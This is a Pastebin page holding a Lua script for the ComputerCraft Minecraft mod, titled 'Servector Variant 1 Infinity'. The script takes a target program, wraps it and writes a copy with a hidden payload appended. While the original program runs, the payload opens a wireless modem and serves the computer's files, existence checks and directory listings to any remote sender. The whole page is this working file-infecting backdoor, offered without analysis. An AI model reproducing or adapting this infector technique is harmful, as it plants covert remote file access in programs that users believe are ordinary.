Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Servector Variant 1 "Infinity"
- args = {...}
- local vir = [[local function a()
- local mod = ""
- for i, v in pairs(peripheral.getNames()) do
- if (peripheral.getType(v) == "modem" and peripheral.call(v,"isWireless") == true) then
- rednetside = v
- mod = peripheral.wrap(v)
- rednet.open(v)
- break
- end
- end
- if mod == "" then
- while true do
- sleep(5)
- end
- end
- local sites = {"TimerWolf "..((os.getComputerLabel() ~= nil) and os.getComputerLabel().." " or "")..os.getComputerID()}
- while true do
- local id, msg = rednet.receive()
- msg = tostring(msg)
- local thing, thing3 = sites[1], 1
- if msg == "infiniftp_dns" then
- rednet.send(id,textutils.serialize(sites))
- elseif thing ~= nil then
- if string.sub(msg,1,4) == "ftp:" then
- path = string.gsub(string.sub(msg,5),thing,"/")
- page = fs.open(path,"r")
- red = page.readAll()
- if page ~= nil then
- rednet.send(id,"file:"..red)
- page.close()
- end
- elseif string.sub(msg,1,7) == "exists:" then
- path = string.gsub(string.sub(msg,8),thing,"/")
- rednet.send(id,(fs.exists(path)))
- elseif string.sub(msg,1,9) == "iftplist:" then
- path = string.gsub(string.sub(msg,10),thing,"/")
- if fs.exists(path) and fs.isDir(path) then
- local list = fs.list(path)
- local list2 = {}
- for i, v in pairs(list) do
- table.insert(list2,{v,fs.isDir(path.."/"..v)})
- end
- rednet.send(id,"flist:"..textutils.serialize(list2))
- end
- end
- end
- end
- end
- parallel.waitForAny(prog,a)]]
- page = fs.open(args[1],"r")
- red = page.readAll()
- if page ~= nil then
- page.close()
- end
- page = fs.open(args[2],"w")
- page.write("local function prog()\n"..red.."\nend\n"..vir)
- page.close()
Advertisement
Add Comment
Please, Sign In to add comment